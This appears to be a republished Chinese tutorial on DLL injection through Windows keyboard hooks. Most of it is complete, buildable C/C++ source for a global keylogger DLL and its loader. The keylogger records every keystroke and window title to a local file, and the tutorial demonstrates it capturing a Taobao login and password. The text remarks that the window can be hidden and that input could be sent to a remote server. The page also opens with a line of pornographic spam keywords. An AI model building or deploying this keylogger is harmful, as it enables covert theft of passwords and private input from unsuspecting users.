国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入

這篇具有很好參考價(jià)值的文章主要介紹了使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問(wèn)。

DLL注入

  • 在Windows中,每個(gè)進(jìn)程有自己私有的地址空間。當(dāng)我們用指針來(lái)引用內(nèi)存的時(shí)候,指針的值表示的是進(jìn)程自己的地址空間中的一個(gè)內(nèi)存地址。進(jìn)程不能創(chuàng)建一個(gè)指針來(lái)引用屬于其他進(jìn)程的內(nèi)存。因此,如果進(jìn)程有一個(gè)缺陷會(huì)覆蓋隨機(jī)地址處的內(nèi)存,那么這個(gè)缺陷不會(huì)影響到其他進(jìn)程所使用的內(nèi)存。
  • 獨(dú)立的地址空間對(duì)開(kāi)發(fā)人員和用戶是非常有利的。對(duì)開(kāi)發(fā)人員來(lái)說(shuō),系統(tǒng)更有可能捕獲錯(cuò)誤的內(nèi)存讀/寫。對(duì)于用戶來(lái)說(shuō),操作系統(tǒng)變得更加健壯了,因?yàn)橐粋€(gè)應(yīng)用程序的錯(cuò)誤不會(huì)導(dǎo)致其他應(yīng)用程序或操作系統(tǒng)崩潰。
  • 所謂DLL注入就是將一個(gè)DLL放進(jìn)某個(gè)進(jìn)程的地址空間里,讓它成為那個(gè)進(jìn)程的一部分。可以通過(guò)很多種方式來(lái)實(shí)現(xiàn)DLL注入。
  • 使用注冊(cè)表來(lái)注入DLL
  • 使用Windows掛鉤來(lái)注入DLL
  • 使用遠(yuǎn)程線程來(lái)注入DLL
  • 使用木馬DLL來(lái)注入
  • 把DLL作為調(diào)試器來(lái)注入
  • 使用CreateProcess來(lái)注入代碼

HOOK技術(shù)

  • 這篇文章主要介紹下通過(guò)HOOK技術(shù)來(lái)實(shí)現(xiàn)DLL注入

windows窗口程序

  • 先創(chuàng)建一個(gè)windows窗口程序

  • 新建一個(gè)win32項(xiàng)目
    使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入
    使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入

  • 新建一個(gè)源文件,寫一個(gè)windows窗口程序

#include <windows.h>

typedef BOOL(*P)();

//窗口處理函數(shù)
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);


//入口函數(shù)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
	//設(shè)計(jì)窗口類
	WNDCLASS wc = { 0 };
	TCHAR szAppClassName[] = TEXT("KEY_EDU");

	wc.hbrBackground = CreateSolidBrush(RGB(120, 50, 40)); //背景顏色
	wc.hInstance = hInstance;    //應(yīng)用程序?qū)嵗浔?	wc.lpfnWndProc = WindowProc; //窗口處理函數(shù)
	wc.lpszClassName = szAppClassName; //窗口類型名
	wc.style = CS_HREDRAW | CS_VREDRAW; //窗口風(fēng)格


	//注冊(cè)窗口
	RegisterClass(&wc);

	//創(chuàng)建窗口
	HWND hWnd = CreateWindow(
		szAppClassName,      //窗口類型名
		TEXT("鍵盤記錄器"),  //窗口標(biāo)題名
		WS_OVERLAPPEDWINDOW, //窗口風(fēng)格
		300,                 //窗口坐標(biāo)(距離左邊)
		200,                 //窗口坐標(biāo)(距離上邊)
		500,                 //窗口寬度
		300,                 //窗口高度
		NULL,                //父窗口句柄
		NULL,                //菜單句柄
		hInstance,           //應(yīng)用程序?qū)嵗浔?		NULL                 //附加信息
	);


	//顯示窗口(SW_HIDE 隱藏窗口)
	ShowWindow(hWnd, SW_SHOW);

	//更新窗口
	UpdateWindow(hWnd);

	//消息循環(huán)
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
		//將虛擬鍵消息轉(zhuǎn)換為字符消息
		TranslateMessage(&msg);

		//將消息分發(fā)給窗口處理
		DispatchMessage(&msg);
	}

	return 0;
}

LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	switch (uMsg)
	{
	case WM_CLOSE:   //窗口關(guān)閉消息
		DestroyWindow(hWnd);  //銷毀窗口
		break;
	case WM_DESTROY:
		PostQuitMessage(0);       //退出窗口
		break;
	case WM_CREATE:      //窗口創(chuàng)建消息
		HMODULE hModule = ::LoadLibrary(TEXT("KeyHook.dll"));
		if (hModule != NULL)
		{
			P pfun = (P)::GetProcAddress(hModule, "InstallHook");
			if (pfun != NULL)
			{
				pfun();
			}
		}
		break;
	}

	return DefWindowProc(hWnd, uMsg, wParam, lParam);
}

鉤子程序

  • 創(chuàng)建一個(gè)DLL程序
    使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入
    使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入
  • 創(chuàng)建一個(gè)頭文件和源文件
  • keyHook.h
#pragma once
#include <windows.h>

HHOOK g_hook;

//安裝鉤子
extern "C" __declspec(dllexport) BOOL InstallHook();


//卸載鉤子
extern "C" __declspec(dllexport) BOOL UninstallHook();

//鉤子處理函數(shù)
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
  • keyHook.cpp
#include "keyHook.h"
#include <stdio.h>

BOOL InstallHook()
{
	g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(L"KeyHook"), 0);
	if (g_hook == NULL)
	{
		return FALSE;
	}
	return TRUE;
}

BOOL UninstallHook()
{
	return UnhookWindowsHookEx(g_hook);
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	//拿到當(dāng)前操作窗口的句柄
	HWND hWnd = ::GetActiveWindow();  //拿當(dāng)前活動(dòng)窗口
	if (hWnd == NULL)
	{
		hWnd = ::GetForegroundWindow(); //拿頂層窗口
		if (hWnd == NULL)
		{
			return CallNextHookEx(g_hook, nCode, wParam, lParam);
		}
	}

	//拿標(biāo)題
	char windowsTextBuff[256] = { 0 };
	GetWindowTextA(hWnd, windowsTextBuff, 255);

	//去掉不能拿的按鍵
	if (nCode < 0 || nCode == HC_NOREMOVE)
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);  //讓鉤子往下傳
	}

	if (lParam & 0x40000000) //鍵盤抬起
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);
	}

	//獲取按鍵
	char keyTextBuff[256] = { 0 };
	GetKeyNameTextA(lParam, keyTextBuff, 255);

	//打開(kāi)文件
	FILE* fp = fopen("D:\\dk.txt", "a");
	if (fp == NULL)
	{
		return CallNextHookEx(g_hook, nCode, wParam, lParam);
	}

	char buff[256] = { 0 };
	sprintf_s(buff, "%s:%s\n", windowsTextBuff, keyTextBuff);

	fwrite(buff, 1, strlen(buff), fp);
	fclose(fp);

	return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
  • 然后把庫(kù)文件拷貝到windows窗口程序運(yùn)行目錄下
    使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入
    使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入

測(cè)試

  • 直接運(yùn)行windows窗口程序

使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-443666.html

  • 然后我們用鍵盤隨便輸入信息
  • 打開(kāi)淘寶輸入賬號(hào)和密碼
    使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入
  • 在D:\dk.txt文件中就會(huì)記錄按鍵信息
    使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入
  • 當(dāng)然可以記錄你的任何輸入
    使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入
    使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入
  • 運(yùn)行窗口只是為了方便演示,這個(gè)窗口可以隱藏。所以說(shuō)為什么不要去點(diǎn)擊亂七八糟的網(wǎng)頁(yè),如果攻擊者把程序放到釣魚(yú)網(wǎng)站,你點(diǎn)擊后,這些程序就會(huì)神不知鬼不覺(jué)的下載安裝運(yùn)行在你的電腦上,這個(gè)測(cè)試程序只是將鍵盤輸入記錄到本地文件中,攻擊者完全可以把你的輸入實(shí)時(shí)發(fā)送到遠(yuǎn)程服務(wù)器上。
  • 鄭重申明,請(qǐng)不要使用HOOK技術(shù)去干違法的事情。

到了這里,關(guān)于使用windows鉤子(HOOK)實(shí)現(xiàn)DLL注入的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來(lái)自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • Windows系統(tǒng)下使用PHPCS+PHPMD+GIT鉤子

    Windows系統(tǒng)下使用PHPCS+PHPMD+GIT鉤子

    前言 0.介紹 PHP_CodeSniffer php代碼嗅探器 包含phpcs(php code standard 代碼標(biāo)準(zhǔn)) phpcbf(php code beautify fix 代碼美化修復(fù)) 是一個(gè)代碼風(fēng)格檢測(cè)工具,著重 代碼規(guī)范 它包含兩類腳本,phpcs 和 phpcbf 1.安裝 2.驗(yàn)證是否安裝成功并查看幫助 3.使用 4.集成到git 4.1 新增鉤子文件 在 .githooks目錄下執(zhí)

    2024年02月20日
    瀏覽(16)
  • 【小沐學(xué)C++】C++ 實(shí)現(xiàn)鼠標(biāo)鍵盤鉤子HOOK

    【小沐學(xué)C++】C++ 實(shí)現(xiàn)鼠標(biāo)鍵盤鉤子HOOK

    https://learn.microsoft.com/zh-cn/windows/win32/winmsg/about-hooks 掛鉤是應(yīng)用程序截獲消息、鼠標(biāo)操作和擊鍵等事件的機(jī)制。 截獲特定類型的事件的函數(shù)稱為 掛鉤過(guò)程。 掛鉤過(guò)程可以對(duì)其接收的每個(gè)事件執(zhí)行操作,然后修改或放棄該事件。 掛鉤是系統(tǒng)消息處理機(jī)制中的一個(gè)點(diǎn),其中應(yīng)用

    2024年02月02日
    瀏覽(27)
  • c#使用Hook鉤子全局監(jiān)聽(tīng)鍵盤和鼠標(biāo)

    背景:今天接到客戶一個(gè)需求,就是在收銀員在用掃碼槍掃顧客會(huì)員碼或者微信付款碼的時(shí)候判斷用戶有沒(méi)有加企微好友和進(jìn)企微群,然后根據(jù)這個(gè)狀態(tài)進(jìn)行語(yǔ)音播報(bào),判斷顧客能不能享受優(yōu)惠價(jià)。關(guān)鍵難點(diǎn)就是用戶用的收銀系統(tǒng)是別家的,線上小程序用的是我們家的,兩家

    2024年01月22日
    瀏覽(16)
  • 開(kāi)源項(xiàng)目CuteSqlite開(kāi)發(fā)筆記(八):Windows 64位/32位使用GetWindowLongPtr鉤子函數(shù)

    開(kāi)源項(xiàng)目CuteSqlite開(kāi)發(fā)筆記(八):Windows 64位/32位使用GetWindowLongPtr鉤子函數(shù)

    需求描述 在開(kāi)發(fā)CuteSqlite的時(shí)候, 有一個(gè)功能需要實(shí)現(xiàn),鼠標(biāo)移到WTL::CStatic上后,發(fā)送消息通知CToolTipCtrl彈出。 遇到問(wèn)題 WTL::CStatic控件沒(méi)有相應(yīng) WM_MOUSEMOVE 消息,需要返回一個(gè)HTCLIENT消息來(lái)讓窗口處理函數(shù)執(zhí)行 WM_MOUSEMOVE消息,因?yàn)榭丶?shí)例的鼠標(biāo)消息,比如WM_MOUSEMOVE不會(huì)發(fā)送

    2024年01月23日
    瀏覽(19)
  • 第116天:免殺對(duì)抗-EDR&Syscall-hook&DLL反射注入&白加黑&隱寫分離&加載器

    第116天:免殺對(duì)抗-EDR&Syscall-hook&DLL反射注入&白加黑&隱寫分離&加載器

    知識(shí)點(diǎn) 演示案例: 總結(jié)

    2024年02月16日
    瀏覽(21)
  • Windows使用cmake編譯dll

    Windows使用cmake編譯dll

    CMake MinGW CMake工具負(fù)責(zé)將CMakeLists.txt配置文件轉(zhuǎn)換成相關(guān)的MakeFile腳本,本身并不參與編譯,而是使用MinGW工具進(jìn)行編譯。 在Linux系統(tǒng)使用CMake編譯需要執(zhí)行以下命令即可編譯出相關(guān)產(chǎn)物,但在Windows要使用MinGW工具編譯需要在執(zhí)行cmake命令時(shí),添加相關(guān)的參數(shù),即 -G \\\"MinGW Makefil

    2024年02月11日
    瀏覽(19)
  • windows鉤子保護(hù)自身進(jìn)程不被破壞

    代碼來(lái)自于《windows核心編程》作者: APIHOOK.h頭文件: APIHOOK.cpp實(shí)現(xiàn)文件:

    2024年02月12日
    瀏覽(18)
  • 解決~~~Windows10系統(tǒng)下使用/添加dll文件的方法

    我們?cè)趙indows10系統(tǒng)電腦中運(yùn)行程序時(shí)遇到缺少xxx.dll文件,無(wú)法正常運(yùn)行情況的話,那么就需要 下載對(duì)應(yīng)的dll文件 才可以。 dll文件下載官網(wǎng),自己搜索需要的文件 找到系統(tǒng)文件夾 Windows操作系統(tǒng)會(huì)創(chuàng)建了一個(gè)新的名為 System32 的文件夾來(lái)存放32位的dll文件。而在 64位 版本的W

    2024年02月11日
    瀏覽(21)
  • windows平臺(tái)下靜態(tài)庫(kù)(.lib)和動(dòng)態(tài)庫(kù)(.dll)使用

    windows平臺(tái)下靜態(tài)庫(kù)(.lib)和動(dòng)態(tài)庫(kù)(.dll)使用

    函數(shù)實(shí)現(xiàn)和變量的二進(jìn)制文件 編譯鏈接可執(zhí)行程序時(shí),靜態(tài)庫(kù)會(huì)直接展開(kāi)到文件。 發(fā)布可執(zhí)行程序時(shí),不需要靜態(tài)庫(kù)。 編譯出的可執(zhí)行文件較大。 windows下動(dòng)態(tài)庫(kù)一般包含引入庫(kù)(.lib)文件和動(dòng)態(tài)庫(kù)(.dll文件)。 dll包含函數(shù)實(shí)現(xiàn)和變量;lib包含該dll的中函數(shù)和變量的聲明

    2024年02月01日
    瀏覽(21)
  • API Monitor簡(jiǎn)易使用教程 監(jiān)控Windows dll調(diào)用 監(jiān)控Windows API調(diào)用 查看函數(shù)名,參數(shù)類型,參數(shù),返回值

    API Monitor簡(jiǎn)易使用教程 監(jiān)控Windows dll調(diào)用 監(jiān)控Windows API調(diào)用 查看函數(shù)名,參數(shù)類型,參數(shù),返回值

    1、API Filter窗口:選定要監(jiān)聽(tīng)的dll函數(shù)或windows API,可以打斷點(diǎn) 選中并右鍵勾上Breakpoint 選 Before Call 2、Monitor New Process 窗口 :選擇要運(yùn)行的exe 3、Summary窗口:會(huì)列出所有調(diào)用的函數(shù)。點(diǎn)函數(shù),查看函數(shù)名,參數(shù)類型,參數(shù),返回值等。還能設(shè)斷點(diǎn)。 當(dāng)調(diào)用到斷點(diǎn)的函數(shù)調(diào)用時(shí)

    2024年01月21日
    瀏覽(34)

覺(jué)得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包